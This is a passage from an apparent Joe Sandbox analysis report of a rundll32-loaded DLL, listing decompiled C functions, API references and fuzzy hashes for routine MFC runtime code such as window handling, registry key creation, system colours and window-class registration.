				_t61 = GetWindowLongA( *(_t72 + 0x20), 0xfffffffc);
				E1000FAB8(_t61, _t72, GetWindowLongA, _t85);
				if(GetWindowLongA( *(_t72 + 0x20), 0xfffffffc) == _t61) {
					_t43 =  *( *((intOrPtr*)( *_t72 + 0xf0))());
					if(_t43 != 0) {
						SetWindowLongA( *(_t72 + 0x20), 0xfffffffc, _t43);
					}
				}
				E1000FBD6(_t61, _t72);
				return  *((intOrPtr*)( *_t72 + 0x114))();
			}

APIs

_memset.LIBCMT ref: 1000FD17
SendMessageA.USER32 ref: 1000FD40
GetWindowLongA.USER32 ref: 1000FD52
GetWindowLongA.USER32 ref: 1000FD63
SetWindowLongA.USER32(?,000000FC,?), ref: 1000FD7F

Strings

(, xrefs: 1000FD36

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: LongWindow$MessageSend_memset
String ID: (
API String ID: 2997958587-3887548279
Opcode ID: 334c7e26ab9e293c68ecfd01600b3aa59bde0f1c2bd920c06c28c769ee1fcf56
Instruction ID: 83308454b4964f7b832e75e01b7e263ef3bf02c7b32fea1d5a5d450cbed2f8d3
Opcode Fuzzy Hash: 334c7e26ab9e293c68ecfd01600b3aa59bde0f1c2bd920c06c28c769ee1fcf56
Instruction Fuzzy Hash: 2E31B0756006159FEB14EF68C985A6EB7F9FF082D0F15052EE9469BA95EB30F800CB90

Uniqueness

Uniqueness Score: -1.00%

Function 10013E40, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 65
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10013E40(intOrPtr __ecx) {
				void* _v8;
				void* _v12;
				void* _v16;
				int _v20;
				intOrPtr _v24;
				intOrPtr _t32;

				_t32 = __ecx;
				_v24 = __ecx;
				_v16 = 0;
				_v8 = 0;
				_v12 = 0;
				if(RegOpenKeyExA(0x80000001, "software", 0, 0x2001f,  &_v8) == 0 && RegCreateKeyExA(_v8,  *(_t32 + 0x54), 0, 0, 0, 0x2001f, 0,  &_v12,  &_v20) == 0) {
					RegCreateKeyExA(_v12,  *(_v24 + 0x68), 0, 0, 0, 0x2001f, 0,  &_v16,  &_v20);
				}
				if(_v8 != 0) {
					RegCloseKey(_v8);
				}
				if(_v12 != 0) {
					RegCloseKey(_v12);
				}
				return _v16;
			}

0x10013e5b
0x10013e62
0x10013e65
0x10013e68
0x10013e6b
0x10013e76
0x10013ead
0x10013ead
0x10013eb8
0x10013ebd
0x10013ebd
0x10013ec2
0x10013ec7
0x10013ec7
0x10013ed0

APIs

RegOpenKeyExA.ADVAPI32(80000001,software,00000000,0002001F,?), ref: 10013E6E
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 10013E91
RegCreateKeyExA.ADVAPI32(?,?,00000000,00000000,00000000,0002001F,00000000,?,?), ref: 10013EAD
RegCloseKey.ADVAPI32(?), ref: 10013EBD
RegCloseKey.ADVAPI32(?), ref: 10013EC7

Strings

software, xrefs: 10013E56

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: CloseCreate$Open
String ID: software
API String ID: 1740278721-2010147023
Opcode ID: 274d387f2041077595a9ef0d73c23cf33c700d5c2420ca228f327ec70e6c6d43
Instruction ID: 4673323d0336752e6ce9d3e664aa048b12ff1b48ba7cb76d312e9863fa3d259e
Opcode Fuzzy Hash: 274d387f2041077595a9ef0d73c23cf33c700d5c2420ca228f327ec70e6c6d43
Instruction Fuzzy Hash: 7711B676D00259BBDB11DB9ACD88DDFBFFCEF85740B1040AAA504A2121D2719A55DB60

Uniqueness

Uniqueness Score: -1.00%

Function 10013CEE, Relevance: 10.6, APIs: 7, Instructions: 51
memoryCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E10013CEE(void* __ecx, long* __edi, void* __esi) {
				long _t22;
				void* _t23;
				void* _t28;
				void* _t31;
				void* _t33;
				signed int _t35;
				long* _t40;
				void* _t41;
				void* _t42;

				_t41 = __esi;
				_t40 = __edi;
				_t31 = __ecx;
				LeaveCriticalSection( *((intOrPtr*)(_t42 - 0x18)) + 0x1c);
				E10017C83(0, 0);
				_t22 = E100134F9(_t31, 0, __edi[3], 4);
				_t33 = 2;
				_t23 = LocalReAlloc( *(__esi + 0xc), _t22, ??);
				_t46 = _t23;
				if(_t23 == 0) {
					LeaveCriticalSection( *(_t42 - 0x14));
					_t23 = E1000A0A7(0, _t33, __edi, __esi, _t46);
				}
				 *(_t41 + 0xc) = _t23;
				E100174D0(_t40, _t23 +  *(_t41 + 8) * 4, 0, _t40[3] -  *(_t41 + 8) << 2);
				 *(_t41 + 8) = _t40[3];
				TlsSetValue( *_t40, _t41);
				_t35 =  *(_t42 + 8);
				_t28 =  *(_t41 + 0xc);
				if(_t28 != 0 && _t35 <  *(_t41 + 8)) {
					 *((intOrPtr*)(_t28 + _t35 * 4)) =  *((intOrPtr*)(_t42 + 0xc));
				}
				_push( *(_t42 - 0x14));
				LeaveCriticalSection();
				return E10017C60(_t28);
			}

APIs

LeaveCriticalSection.KERNEL32(?), ref: 10013CF5
__CxxThrowException@8.LIBCMT ref: 10013CFF

Part of subcall function 10017C83: RaiseException.KERNEL32(?,?,?,?), ref: 10017CC3

LocalReAlloc.KERNEL32(?,00000000,00000002,00000000,00000010,?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004), ref: 10013D16
LeaveCriticalSection.KERNEL32(?,?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441,00000000), ref: 10013D23

Part of subcall function 1000A0A7: __CxxThrowException@8.LIBCMT ref: 1000A0BB

_memset.LIBCMT ref: 10013D42
TlsSetValue.KERNEL32(?,00000000), ref: 10013D53
LeaveCriticalSection.KERNEL32(?,?,00000000,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441,00000000), ref: 10013D74

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: CriticalLeaveSection$Exception@8Throw$AllocExceptionLocalRaiseValue_memset
String ID:
API String ID: 356813703-0
Opcode ID: 7dcaef9dd6dc2c20a9afc37e1070812523d3c5c417591cb16522903d097c7fc3
Instruction ID: da2c65ce7076d342f4508b5b0ea9d94b5e5006c79099ef9a6e76071fa7915ca4
Opcode Fuzzy Hash: 7dcaef9dd6dc2c20a9afc37e1070812523d3c5c417591cb16522903d097c7fc3
Instruction Fuzzy Hash: BD118E7450060AAFE710EF65DC8AC1BBBB9FF04354720C128F4599A566CB30ECA0CB50

Uniqueness

Uniqueness Score: -1.00%

Function 10013810, Relevance: 10.5, APIs: 7, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10013810(void* __ecx) {
				struct HBRUSH__* _t14;
				void* _t18;

				_t18 = __ecx;
				 *((intOrPtr*)(_t18 + 0x28)) = GetSysColor(0xf);
				 *((intOrPtr*)(_t18 + 0x2c)) = GetSysColor(0x10);
				 *((intOrPtr*)(_t18 + 0x30)) = GetSysColor(0x14);
				 *((intOrPtr*)(_t18 + 0x34)) = GetSysColor(0x12);
				 *((intOrPtr*)(_t18 + 0x38)) = GetSysColor(6);
				 *((intOrPtr*)(_t18 + 0x24)) = GetSysColorBrush(0xf);
				_t14 = GetSysColorBrush(6);
				 *(_t18 + 0x20) = _t14;
				return _t14;
			}

0x1001381a
0x10013820
0x10013827
0x1001382e
0x10013835
0x10013842
0x10013849
0x1001384c
0x1001384f
0x10013853

APIs

GetSysColor.USER32(0000000F), ref: 1001381C
GetSysColor.USER32(00000010), ref: 10013823
GetSysColor.USER32(00000014), ref: 1001382A
GetSysColor.USER32(00000012), ref: 10013831
GetSysColor.USER32(00000006), ref: 10013838
GetSysColorBrush.USER32(0000000F), ref: 10013845
GetSysColorBrush.USER32(00000006), ref: 1001384C

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: Color$Brush
String ID:
API String ID: 2798902688-0
Opcode ID: ec9fc2993fab2a5d820fe3d8a281f31af429397108a6c3a84ca499368f54399a
Instruction ID: 74b272bfbd302397870cb0a2abf86f81c97ca9371361d4e5ce15514e9afb48cd
Opcode Fuzzy Hash: ec9fc2993fab2a5d820fe3d8a281f31af429397108a6c3a84ca499368f54399a
Instruction Fuzzy Hash: E8F01C71940748ABE730BF728D49B47BAE5FFC4B10F12092ED2858BA90E6B6E041DF40

Uniqueness

Uniqueness Score: -1.00%

Function 10028DE5, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 24
registrywindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E10028DE5() {
				long _t5;
				int _t6;

				if((0x80000000 & GetVersion()) == 0 || GetVersion() != 4) {
					_t5 = GetVersion();
					if((0x80000000 & _t5) != 0) {
						L5:
						 *0x1005acc4 =  *0x1005acc4 & 0x00000000;
						return _t5;
					}
					_t5 = GetVersion();
					if(_t5 != 3) {
						goto L5;
					}
					goto L4;
				} else {
					L4:
					_t6 = RegisterWindowMessageA("MSWHEEL_ROLLMSG");
					 *0x1005acc4 = _t6;
					return _t6;
				}
			}

0x10028df6
0x10028e00
0x10028e04
0x10028e20
0x10028e20
0x00000000
0x10028e20
0x10028e06
0x10028e0c
0x00000000
0x00000000
0x00000000
0x10028e0e
0x10028e0e
0x10028e13
0x10028e19
0x00000000
0x10028e19

APIs

GetVersion.KERNEL32 ref: 10028DED
GetVersion.KERNEL32 ref: 10028DF8
GetVersion.KERNEL32 ref: 10028E00
GetVersion.KERNEL32 ref: 10028E06
RegisterWindowMessageA.USER32(MSWHEEL_ROLLMSG), ref: 10028E13

Strings

MSWHEEL_ROLLMSG, xrefs: 10028E0E

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: Version$MessageRegisterWindow
String ID: MSWHEEL_ROLLMSG
API String ID: 303823969-2485103130
Opcode ID: 85f3e66c9038b440300e9b11d08aab107bdf81c33b47830274e071894da04cd4
Instruction ID: a1cfe5ae80d7d924f96357e0403be069d270e7200ca7c890729efff85db7b39d
Opcode Fuzzy Hash: 85f3e66c9038b440300e9b11d08aab107bdf81c33b47830274e071894da04cd4
Instruction Fuzzy Hash: 34E0D83E80213792F700A374AD0034939D5DB442E0F930066ED0042258CB24098747A5

Uniqueness

Uniqueness Score: -1.00%

Function 1000C209, Relevance: 9.1, APIs: 6, Instructions: 115
threadwindowCOMMON

Download Yara Rule

C-Code - Quality: 81%

			E1000C209(void* __ecx, void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t54;
				intOrPtr _t57;
				long _t60;
				struct HWND__* _t63;
				CHAR* _t64;
				void* _t65;
				void* _t67;
				void* _t71;
				void* _t72;
				long _t73;
				void* _t74;
				void* _t75;
				signed int _t77;
				void* _t78;
				signed int _t79;
				void* _t81;

				_t71 = __edx;
				_t79 = _t81 - 0x9c;
				 *(_t79 + 0x98) =  *0x10057a08 ^ _t79;
				_t73 =  *(_t79 + 0xa4);
				_t77 = 0;
				 *((intOrPtr*)(_t79 - 0x80)) =  *((intOrPtr*)(_t79 + 0xa8));
				E1000C12A(0);
				_t67 = _t72;
				_t63 = E1000C15E(0, _t79 - 0x70);
				 *(_t79 - 0x7c) = _t63;
				if(_t63 !=  *(_t79 - 0x70)) {
					EnableWindow(_t63, 1);
				}
				 *(_t79 - 0x78) =  *(_t79 - 0x78) & _t77;
				GetWindowThreadProcessId(_t63, _t79 - 0x78);
				if(_t63 == 0 ||  *(_t79 - 0x78) != GetCurrentProcessId()) {
					L6:
					__eflags = _t73;
					if(__eflags != 0) {
						_t77 = _t73 + 0x78;
					}
					goto L8;
				} else {
					_t60 = SendMessageA(_t63, 0x376, 0, 0);
					if(_t60 == 0) {
						goto L6;
					} else {
						_t77 = _t60;
						L8:
						 *(_t79 - 0x74) =  *(_t79 - 0x74) & 0x00000000;
						if(_t77 != 0) {
							 *(_t79 - 0x74) =  *_t77;
							_t57 =  *((intOrPtr*)(_t79 + 0xb0));
							if(_t57 != 0) {
								 *_t77 = _t57 + 0x30000;
							}
						}
						if(( *(_t79 + 0xac) & 0x000000f0) == 0) {
							_t54 =  *(_t79 + 0xac) & 0x0000000f;
							if(_t54 <= 1) {
								_t24 = _t79 + 0xac;
								 *_t24 =  *(_t79 + 0xac) | 0x00000030;
								__eflags =  *_t24;
							} else {
								if(_t54 + 0xfffffffd <= 1) {
									 *(_t79 + 0xac) =  *(_t79 + 0xac) | 0x00000020;
								}
							}
						}
						_t96 = _t73;
						 *(_t79 - 0x6c) = 0;
						if(_t73 == 0) {
							_t64 = _t79 - 0x6c;
							_t73 = 0x104;
							__eflags = GetModuleFileNameA(0, _t64, 0x104) - 0x104;
							if(__eflags == 0) {
								 *((char*)(_t79 + 0x97)) = 0;
							}
						} else {
							_t64 =  *(_t73 + 0x50);
						}
						_push( *(_t79 + 0xac));
						_push(_t64);
						_push( *((intOrPtr*)(_t79 - 0x80)));
						_push( *(_t79 - 0x7c));
						_t74 = E1000C093(_t64, _t67, _t73, _t77, _t96);
						if(_t77 != 0) {
							 *_t77 =  *(_t79 - 0x74);
						}
						if( *(_t79 - 0x70) != 0) {
							EnableWindow( *(_t79 - 0x70), 1);
						}
						E1000C12A(1);
						_pop(_t75);
						_pop(_t78);
						_pop(_t65);
						return E100167D5(_t74, _t65,  *(_t79 + 0x98) ^ _t79, _t71, _t75, _t78);
					}
				}
			}

0x1000c209
0x1000c20a
0x1000c21e
0x1000c22d
0x1000c233
0x1000c236
0x1000c239
0x1000c23e
0x1000c249
0x1000c24e
0x1000c251
0x1000c256
0x1000c256
0x1000c25c
0x1000c264
0x1000c26c
0x1000c291
0x1000c291
0x1000c293
0x1000c295
0x1000c295
0x00000000
0x1000c279
0x1000c283
0x1000c28b
0x00000000
0x1000c28d
0x1000c28d
0x1000c298
0x1000c298
0x1000c29e
0x1000c2a2
0x1000c2a5
0x1000c2ad
0x1000c2b4
0x1000c2b4
0x1000c2ad
0x1000c2bd
0x1000c2c5
0x1000c2cb
0x1000c2de
0x1000c2de
0x1000c2de
0x1000c2cd
0x1000c2d3
0x1000c2d5
0x1000c2d5
0x1000c2d3
0x1000c2cb
0x1000c2e5
0x1000c2e7
0x1000c2eb
0x1000c2f2
0x1000c2f5
0x1000c306
0x1000c308
0x1000c30a
0x1000c30a
0x1000c2ed
0x1000c2ed
0x1000c2ed
0x1000c311
0x1000c317
0x1000c318
0x1000c31b
0x1000c328
0x1000c32a
0x1000c32f
0x1000c32f
0x1000c335
0x1000c33c
0x1000c33c
0x1000c344
0x1000c352
0x1000c353
0x1000c356
0x1000c363
0x1000c363
0x1000c28b

APIs

Part of subcall function 1000C15E: GetParent.USER32(100014EC), ref: 1000C1B1
Part of subcall function 1000C15E: GetLastActivePopup.USER32(100014EC), ref: 1000C1C0
Part of subcall function 1000C15E: IsWindowEnabled.USER32(100014EC), ref: 1000C1D5
Part of subcall function 1000C15E: EnableWindow.USER32(100014EC,00000000), ref: 1000C1E8

EnableWindow.USER32(?,00000001), ref: 1000C256
GetWindowThreadProcessId.USER32(?,?), ref: 1000C264
GetCurrentProcessId.KERNEL32 ref: 1000C26E
SendMessageA.USER32 ref: 1000C283
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1000C300
EnableWindow.USER32(?,00000001), ref: 1000C33C

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: Window$Enable$Process$ActiveCurrentEnabledFileLastMessageModuleNameParentPopupSendThread
String ID:
API String ID: 1877664794-0
Opcode ID: d475a19da1505cd8c491af7de1dd181a650697f179afdcdb5f27c752af681c02
Instruction ID: 906afa4fd5bad6b09c7d7bb12576003d117f5a582180c2333a3862cf80afbe79
Opcode Fuzzy Hash: d475a19da1505cd8c491af7de1dd181a650697f179afdcdb5f27c752af681c02
Instruction Fuzzy Hash: A1416A32A0035C9FFB31CFA58C85FDD7BA8EF05390F210129E949AB286D7709A408B50

Uniqueness

Uniqueness Score: -1.00%

Function 1000C15E, Relevance: 9.1, APIs: 6, Instructions: 68
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000C15E(struct HWND__* _a4, struct HWND__** _a8) {
				struct HWND__* _t7;
				void* _t13;
				struct HWND__** _t15;
				struct HWND__* _t16;
				struct HWND__* _t17;
				struct HWND__* _t18;

				_t18 = _a4;
				_t17 = _t18;
				if(_t18 != 0) {
					L5:
					if((GetWindowLongA(_t17, 0xfffffff0) & 0x40000000) == 0) {
						L8:
						_t16 = _t17;
						_t7 = _t17;
						if(_t17 == 0) {
							L10:
							if(_t18 == 0 && _t17 != 0) {
								_t17 = GetLastActivePopup(_t17);
							}
							_t15 = _a8;
							if(_t15 != 0) {
								if(_t16 == 0 || IsWindowEnabled(_t16) == 0 || _t16 == _t17) {
									 *_t15 =  *_t15 & 0x00000000;
								} else {
									 *_t15 = _t16;
									EnableWindow(_t16, 0);
								}
							}
							return _t17;
						} else {
							goto L9;
						}
						do {
							L9:
							_t16 = _t7;
							_t7 = GetParent(_t7);
						} while (_t7 != 0);
						goto L10;
					}
					_t17 = GetParent(_t17);
					L7:
					if(_t17 != 0) {
						goto L5;
					}
					goto L8;
				}
				_t13 = E1000C087();
				if(_t13 != 0) {
					L4:
					_t17 =  *(_t13 + 0x20);
					goto L7;
				}
				_t13 = E1000A7CE();
				if(_t13 != 0) {
					goto L4;
				}
				_t17 = 0;
				goto L8;
			}

APIs

GetWindowLongA.USER32 ref: 1000C190
GetParent.USER32(100014EC), ref: 1000C19E
GetParent.USER32(100014EC), ref: 1000C1B1
GetLastActivePopup.USER32(100014EC), ref: 1000C1C0
IsWindowEnabled.USER32(100014EC), ref: 1000C1D5
EnableWindow.USER32(100014EC,00000000), ref: 1000C1E8

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: Window$Parent$ActiveEnableEnabledLastLongPopup
String ID:
API String ID: 670545878-0
Opcode ID: 716a915a51b72e7755bd765e65025d5e7cdfb43fa73cbfe2d9e3b7854765710c
Instruction ID: b03ffd99d979528eb1576ebd7f6c5d6629826c0934e428a14188cd3025a76a69
Opcode Fuzzy Hash: 716a915a51b72e7755bd765e65025d5e7cdfb43fa73cbfe2d9e3b7854765710c
Instruction Fuzzy Hash: CC11A33264533A57F221DB698C80F9A72ECDF4BAD0F260129FC44E329ADB60DC0242D5

Uniqueness

Uniqueness Score: -1.00%

Function 1001411A, Relevance: 9.0, APIs: 6, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E1001411A(struct HWND__* _a4, struct tagPOINT _a8, intOrPtr _a12) {
				struct tagRECT _v20;
				struct HWND__* _t12;
				struct HWND__* _t21;

				ClientToScreen(_a4,  &_a8);
				_push(5);
				_push(_a4);
				while(1) {
					_t12 = GetWindow();
					_t21 = _t12;
					if(_t21 == 0) {
						break;
					}
					if(GetDlgCtrlID(_t21) != 0 && (GetWindowLongA(_t21, 0xfffffff0) & 0x10000000) != 0) {
						GetWindowRect(_t21,  &_v20);
						_push(_a12);
						if(PtInRect( &_v20, _a8) != 0) {
							return _t21;
						}
					}
					_push(2);
					_push(_t21);
				}
				return _t12;
			}

APIs

ClientToScreen.USER32(?,?), ref: 10014129
GetDlgCtrlID.USER32(00000000), ref: 1001413D
GetWindowLongA.USER32 ref: 1001414B
GetWindowRect.USER32 ref: 1001415D
PtInRect.USER32(?,?,?), ref: 1001416D
GetWindow.USER32(?,00000005), ref: 1001417A

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: Window$Rect$ClientCtrlLongScreen
String ID:
API String ID: 1315500227-0
Opcode ID: fd09e00dcf5aea0f889a5d5334f0ce8489c3ad9d17b5f7afd937dd6b6d05cc64
Instruction ID: 106842abd73dbf2249684b53af78e8d9c6ae05809ec90903e9ae8d6f26667822
Opcode Fuzzy Hash: fd09e00dcf5aea0f889a5d5334f0ce8489c3ad9d17b5f7afd937dd6b6d05cc64
Instruction Fuzzy Hash: AA014F36500126BBDB12DF658C48EDE77ACEF15791F124114F911AA1A0DB30DA82CA94

Uniqueness

Uniqueness Score: -1.00%

Function 10012406, Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 234
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E10012406(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, signed int _a4) {
				intOrPtr _v8;
				signed int _v12;
				signed int _v16;
				char* _v20;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v40;
				intOrPtr _v52;
				signed int _v56;
				void* __ebp;
				intOrPtr _t122;
				void* _t128;
				signed int _t139;
				signed int _t144;
				signed int _t175;
				signed int _t177;
				signed int _t179;
				signed int _t181;
				signed int _t183;
				signed int _t187;
				void* _t190;
				intOrPtr _t191;
				signed int _t201;

				_t190 = __ecx;
				_t122 = E1000D5EC(__ebx, __edi, __esi, __eflags);
				_v8 = _t122;
				_t3 =  &_a4;
				 *_t3 = _a4 &  !( *(_t122 + 0x18));
				if( *_t3 == 0) {
					return 1;
				}
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_t201 = 0;
				E100174D0(0,  &_v56, 0, 0x28);
				_v52 = DefWindowProcA;
				_t128 = E1000D5EC(__ebx, 0, 0, __eflags);
				__eflags = _a4 & 0x00000001;
				_v40 =  *((intOrPtr*)(_t128 + 8));
				_t187 = 8;
				_v32 =  *0x1005aa70;
				_v16 = _t187;
				if(__eflags != 0) {
					_push( &_v56);
					_v56 = 0xb;
					_v20 = "AfxWnd80s";
					_t183 = E10012222(_t187, _t190, 0, 0, __eflags);
					__eflags = _t183;
					if(_t183 != 0) {
						_t201 = 1;
						__eflags = 1;
					}
				}
				__eflags = _a4 & 0x00000020;
				if(__eflags != 0) {
					_v56 = _v56 | 0x0000008b;
					_push( &_v56);
					_v20 = "AfxOleControl80s";
					_t181 = E10012222(_t187, _t190, 0, _t201, __eflags);
					__eflags = _t181;
					if(_t181 != 0) {
						_t201 = _t201 | 0x00000020;
						__eflags = _t201;
					}
				}
				__eflags = _a4 & 0x00000002;
				if(__eflags != 0) {
					_push( &_v56);
					_v56 = 0;
					_v20 = "AfxControlBar80s";
					_v28 = 0x10;
					_t179 = E10012222(_t187, _t190, 0, _t201, __eflags);
					__eflags = _t179;
					if(_t179 != 0) {
						_t201 = _t201 | 0x00000002;
						__eflags = _t201;
					}
				}
				__eflags = _a4 & 0x00000004;
				if(__eflags != 0) {
					_v56 = _t187;
					_v28 = 0;
					_t177 = E100123C5(_t190, __eflags,  &_v56, "AfxMDIFrame80s", 0x7a01);
					__eflags = _t177;
					if(_t177 != 0) {
						_t201 = _t201 | 0x00000004;
						__eflags = _t201;
					}
				}
				__eflags = _a4 & _t187;
				if(__eflags != 0) {
					_v56 = 0xb;
					_v28 = 6;
					_t175 = E100123C5(_t190, __eflags,  &_v56, "AfxFrameOrView80s", 0x7a02);
					__eflags = _t175;
					if(_t175 != 0) {
						_t201 = _t201 | _t187;
						__eflags = _t201;
					}
				}
				__eflags = _a4 & 0x00000010;
				if(__eflags != 0) {
					_v12 = 0xff;
					_t201 = _t201 | E10010087(_t187, _t190, _t201, __eflags,  &_v16, 0x3fc0);
					_t48 =  &_a4;
					 *_t48 = _a4 & 0xffffc03f;
					__eflags =  *_t48;
				}
				__eflags = _a4 & 0x00000040;
				if(__eflags != 0) {
					_v12 = 0x10;
					_t201 = _t201 | E10010087(_t187, _t190, _t201, __eflags,  &_v16, 0x40);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00000080;
				if(__eflags != 0) {
					_v12 = 2;
					_t201 = _t201 | E10010087(_t187, _t190, _t201, __eflags,  &_v16, 0x80);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00000100;
				if(__eflags != 0) {
					_v12 = _t187;
					_t201 = _t201 | E10010087(_t187, _t190, _t201, __eflags,  &_v16, 0x100);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00000200;
				if(__eflags != 0) {
					_v12 = 0x20;
					_t201 = _t201 | E10010087(_t187, _t190, _t201, __eflags,  &_v16, 0x200);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00000400;
				if(__eflags != 0) {
					_v12 = 1;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x400);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00000800;
				if(__eflags != 0) {
					_v12 = 0x40;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x800);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00001000;
				if(__eflags != 0) {
					_v12 = 4;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x1000);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00002000;
				if(__eflags != 0) {
					_v12 = 0x80;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x2000);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00004000;
				if(__eflags != 0) {
					_v12 = 0x800;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x4000);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00008000;
				if(__eflags != 0) {
					_v12 = 0x400;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x8000);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00010000;
				if(__eflags != 0) {
					_v12 = 0x200;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x10000);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00020000;
				if(__eflags != 0) {
					_v12 = 0x100;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x20000);
					__eflags = _t201;
				}
				__eflags = _a4 & 0x00040000;
				if(__eflags != 0) {
					_v12 = 0x8000;
					_t201 = _t201 | E10010087(0x400, _t190, _t201, __eflags,  &_v16, 0x40000);
					__eflags = _t201;
				}
				_t191 = _v8;
				 *(_t191 + 0x18) =  *(_t191 + 0x18) | _t201;
				_t139 =  *(_t191 + 0x18);
				__eflags = (_t139 & 0x00003fc0) - 0x3fc0;
				if((_t139 & 0x00003fc0) == 0x3fc0) {
					 *(_t191 + 0x18) = _t139 | 0x00000010;
					_t201 = _t201 | 0x00000010;
					__eflags = _t201;
				}
				asm("sbb eax, eax");
				_t144 =  ~((_t201 & _a4) - _a4) + 1;
				__eflags = _t144;
				return _t144;
			}

0x10012406
0x1001240c
0x10012411
0x10012419
0x10012419
0x1001241c
0x00000000
